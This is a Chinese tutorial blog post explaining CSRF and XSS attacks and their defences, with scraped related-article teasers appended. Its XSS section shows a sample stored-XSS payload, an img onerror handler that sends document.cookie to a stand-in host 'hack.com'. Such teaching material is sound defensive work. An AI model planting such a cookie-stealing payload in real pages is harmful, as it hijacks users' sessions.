名词解释

CSRF(Cross-site request forgery)跨站请求伪造

XSS (Cross-site scripting)跨站脚本攻击,这里缩写css被前端层叠样式表(Cascading Style Sheets)占用了,为了区分就叫了xss。

攻击手段描述

  • CSRF

攻击场景描述:假设你登陆了a网站,此时你又打开了b网站的某个页面,b网站的某个页面上有一段代码,可能是一个自提交的表单,表单的action是a网站,这样b网站就模拟了你的身份,向a网站发送了一个请求。

CSRF的攻击特点是伪造其他网站的操作,冒用身份比如利用cookie伪造登录凭证,不是窃取cookie,

攻击可达到的后果:可以模拟你在a网站的所有操作,并且操作发生在你使用的浏览器,和你自己操作没有区别,比较著名的有利用gmailCSRF漏洞窃取用户邮件。

  • XSS

攻击场景描述:属于注入攻击的一种。两个用户a和b,a在某网站上发表了一篇文章,其中包含了一串js代码,比如说代码如下:

<p>
这里显示摘要内容,用户可以输入各种文本及图片
<img style="display:none" src="null" onerror="a=function(ajax({url:'//hack.com/utm.gif',data:{c:document.cookie}}));a();"
</p>

如果网站没有做任何处理,直接存储发表了这个文章,用户b等查看这篇文章的时候,这段代码就可以在用户b没有感知的情况下,窃取到b的cookie并发送到a的服务器,以用于某些不良目的

攻击可达到的后果:窃取用户cookie,损害/控制用户电脑做出某些行为,模拟用户操作等。。xss的攻击如果成功,一般来说是可以造成很严重后果的,因为对方相当于直接控制了你的操作,并做出一些你自己不会做的事情,CSRF相对来说,只是模拟了操作,还是受到服务提供者限制的。

解决方案

  • CSRF

对于跨站请求伪造,最重要的就是区分访问源头。因为发生在其他人的网站,防止攻击来源的产生是不可能的,只能从提升自己网站的甄别度来解决。

常用的解决方案:

  1. 有每一个表单都带有一个CSRF令牌(CSRF TOKEN),后端验证没有令牌的直接被拒绝,这里的令牌需要和会话绑定更能确保安全性,尤其是不要提供获取CSRF令牌的接口,否则就形同虚设了。
  2. 验证 HTTP Referer 字段
  3. 验证码(现在基本大型网站重要的操作都会进行验证,甚至是手机验证码验证来保障安全)

解释一下我博客园评论中雾林的问题:

这个csrf的令牌有啥用呢,现在laravel框架里每个页面都要求请求携带这个令牌,但是我要知道这个令牌,f12你的页面,就可以看到

令牌你可以看到,但是攻击者如果没有你的cookie,按照同源策略,另一个网站的攻击js脚本是获取不到你csrf令牌的,除非你给他看。一般来说你会把存有sessionId的cookie设置为http-only,这样js不可以获取到cookie,只能用由浏览器自动携带,也避免了cookie被盗用。所以从这两点上避免了被攻击。

  • XSS

网站不应该信任用户输入的内容,应对用户输入内容进行处理,过滤任何有执行能力的脚本或者影响页面的CSS,保证其他用户访问页面的安全。具体针对每种语言都有相应的处理机制和工具。一般各种后端框架都封装或者提供相关插件处理。

  1. 给Cookie添加HttpOnly属性, 使cookie只能在http请求中传递, 像是上面那个脚本中 document.cookie无法获取到该Cookie值. 对XSS的攻击, 有一定的防御值. 但是对网络拦截, 还是泄露了.

  2. 在cookie中绑定用户网络信息等环境值,比如ip,user agent等,并在服务端校验. 这样当cookie被人劫持了, 并冒用, 但是在服务器端校验的时候, 发现校验值发生了变化, 一定程度上去规避cookie劫持

  3. cookie中session id的定时更换, 可以一定程度减少攻击带来的损害,并不能避免攻击产生。

CSRF和XSS区别和预防的更多相关文章

  1. PHP开发中常见的安全问题详解和解决方法(如Sql注入、CSRF、Xss、CC等

    页面导航: 首页 → 网络编程 → PHP编程 → php技巧 → 正文内容 PHP安全 PHP开发中常见的安全问题详解和解决方法(如Sql注入.CSRF.Xss.CC等) 作者: 字体:[增加 减小 ...

  2. CSRF & CORS 的区别

    转发 CSRF & CORS 的区别 下面转的两篇文章分别说明了以下两个概念和一些解决方法: 1. CSRF - Cross-Site Request Forgery - 跨站请求伪造 2. ...

  3. 带你了解CSRF和XSS(二)

    什么是CSRF? CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XS ...

  4. 前端安全问题之CSRF和XSS

    一.CSRF 1.什么是 CSRF CSRF(全称 Cross-site request forgery),即跨站请求伪造 2.攻击原理 用户登录A网站,并生成 Cookie,在不登出的情况下访问危险 ...

  5. 面试 07-安全问题:CSRF和XSS

    07-安全问题:CSRF和XSS #前言 面试中的安全问题,明确来说,就两个方面: CSRF:基本概念.攻击方式.防御措施 XSS:基本概念.攻击方式.防御措施 这两个问题,一般不会问太难. 有人问: ...

  6. CSRF和XSS

    XSS(跨站脚本攻击): 攻击者发现XSS漏洞——构造代码——发送给受害人——受害人打开——攻击者获取受害人的cookie——完成攻击 XSS是什么?它的全名是:Cross-site scriptin ...

  7. 常见的 CSRF、XSS、sql注入、DDOS流量攻击

    CSRF攻击 :跨站请求伪造攻击 ,CSRF全名是Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性 攻击者一般会使用吸引人的图片去引导用户点击进 ...

  8. web安全CSRF和XSS

    web端的安全攻击有CSRF和XSS两种,将通过以下三个方面介绍这两种安全攻击: 1.基本概念和缩写 2.攻击原理 3.防御措施 CSRF  1.基本概念和缩写 CSRF(Cross-site req ...

  9. CSRF与xss的区别

    CSRF:无法获取受害者的cookie,无法看到cookie:               只是利用受害者是被服务器信任的(靠验证cookie),而给服务器发送请求: xss:利用cookie只是xs ...

随机推荐

  1. Thrift RPC实战(三) thrift序列化揭秘

    本文主要讲解Thrift的序列化机制, 看看thrift作为数据交换格式是如何工作的? 1.构造应用场景: 1). 首先我们先来定义下thrift的简单结构. 1 2 3 4 5 namespace ...

  2. 安卓之父造手机:该紧张的只有iPhone?

    近日,"安卓之父" Andy Rubin正式带来他潜心打造的新款智能手机--Essential.这款设计新颖.配置强大的手机刚一发布,就引起全球科技界的广泛关注.对iPhone.三 ...

  3. 致敬——C语言

    2016年4月26日21:00      OJ考试平台关闭,C语言这门课程也就随之结束了. 回顾学习历程,坦诚的讲学习期间也努力过也颓废过,但从来没有绝对的放弃过.由于种种客观原因与主观原因导致没有给 ...

  4. C++与引用2

    */ * Copyright (c) 2016,烟台大学计算机与控制工程学院 * All rights reserved. * 文件名:text.cpp * 作者:常轩 * 微信公众号:Worldhe ...

  5. unittest实战(一):用例框架

    import unittest class forTest0(unittest.TestCase): @classmethod def setUpClass(cls) -> None: prin ...

  6. 小白学 Python 数据分析(12):Pandas (十一)数据透视表(pivot_table)

    人生苦短,我用 Python 前文传送门: 小白学 Python 数据分析(1):数据分析基础 小白学 Python 数据分析(2):Pandas (一)概述 小白学 Python 数据分析(3):P ...

  7. CSS中"position:relative"属性与文档流的关系

    前言 近期遇到一个问题--"position:relative"到底会不会导致元素脱离文档流?主流观点是不会,但都给不出一个有说服力的论据.最后我自己佐证了一番,总算有了个结果:& ...

  8. moment太重? 那就试试miment--一个超轻量级的js时间库

    介绍 Miment 是一个轻量级的时间库(打包压缩后只有1K),没有太多的方法,Miment的设计理念就是让你以几乎为零的成本快速上手,无需一遍一遍的撸文档 由来 首先 致敬一下Moment,非常好用 ...

  9. HBuilder-X 关闭eslint-vue 插件语法检查

    HBuilder-X  在写vue项目的时候发现,代码在保存的时候回自动检查eslint语法,会报一大堆的红色警告! 这时候就很烦人,看着不爽,看了下eslint 配置里面介绍了关闭语法检查的配置-- ...

  10. Redis 中的客户端

    Redis 是一个客户端服务端的程序,服务端提供数据存储等等服务,客户端连接服务端并通过向服务端发送命令,读取或写入数据,简单来说,客户端就是某种工具,我们通过它与 Redis 服务端进行通讯并完成数 ...